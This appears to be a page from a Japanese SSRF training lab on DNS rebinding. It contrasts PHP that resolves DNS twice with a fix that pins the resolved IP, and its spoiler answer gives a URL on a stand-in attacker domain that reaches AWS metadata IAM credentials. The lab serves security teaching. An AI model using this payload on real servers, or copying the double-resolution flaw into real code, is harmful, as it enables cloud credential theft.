utsuroi ssrf labsLab 03 / 5 — Practitioner
03

DNS Rebinding — 検証時と実リクエスト時で違う IP

DNS rebinding to bypass post-resolution IP validation

Lab 02 を受けて、うつろい EC は「文字列ブラックリストではなく、DNS 解決後の IP で検証」する正しいアプローチに改善した。

// 一見正しい実装
$host = parse_url($_POST['url'], PHP_URL_HOST);
$ip = gethostbyname($host);  // ← ① DNS 解決(検証用)
if (is_internal_ip($ip)) abort(400);

// ... その後 ...
$content = file_get_contents($_POST['url']);  // ← ② 実際に URL を fetch(再度 DNS 解決)

しかしこの実装には「2回の DNS 解決」という致命的なバグがある。攻撃者がコントロールするドメインの DNS が、① の解決時には public IP を、② の解決時には private IP を返すと、検証は素通りして実際のリクエストは内部 IP に到達する。これが DNS Rebinding

DNS Rebinding を使って、IP 検証を素通りした上で AWS メタデータ 169.254.169.254 に到達してください。

rebind.attacker.example の DNS A レコード(動的に変わる)

[1回目のクエリ] A 198.51.100.42(public IP) — 検証用に通すため
[2回目のクエリ] A 169.254.169.254(AWS metadata) — 実リクエスト用
→ TTL=0 で攻撃者がいつでも切り替え可能。サーバの DNS キャッシュが無いと毎回新しい解決が走る。
クイック試行:
攻撃タイムライン(2回の DNS 解決の差)
(まだ取込実行していません)
脆弱な実装 vs 正しい実装
// 危険:検証と実リクエストで別々に DNS 解決
$ip = gethostbyname($host);   // ← 1回目
if (is_internal_ip($ip)) abort(400);
file_get_contents($url);      // ← 2回目(別の IP に解決される可能性)
// 安全:DNS 解決の結果を「pin して」その IP に直接接続
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
if (is_internal_ip($ip)) abort(400);

// curl で IP を pin(--resolve オプション)
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RESOLVE, ["$host:443:$ip"]);
$content = curl_exec($ch);
// 検証時の IP と実リクエストの IP が同一であることを保証
正解(ネタバレ)

URL: http://rebind.attacker.example/latest/meta-data/iam/security-credentials/EC2-WebServer-Role

このドメインの DNS は攻撃者が制御し、TTL=0、1回目のクエリには 198.51.100.42(public IP)、2回目以降には 169.254.169.254(AWS metadata)を返すよう設定。

サーバの実装が「検証用に DNS 解決 → fetch 用に DNS 解決」と2回別々に解決するため、検証時には public IP で素通り、fetch 時には metadata エンドポイントに到達する。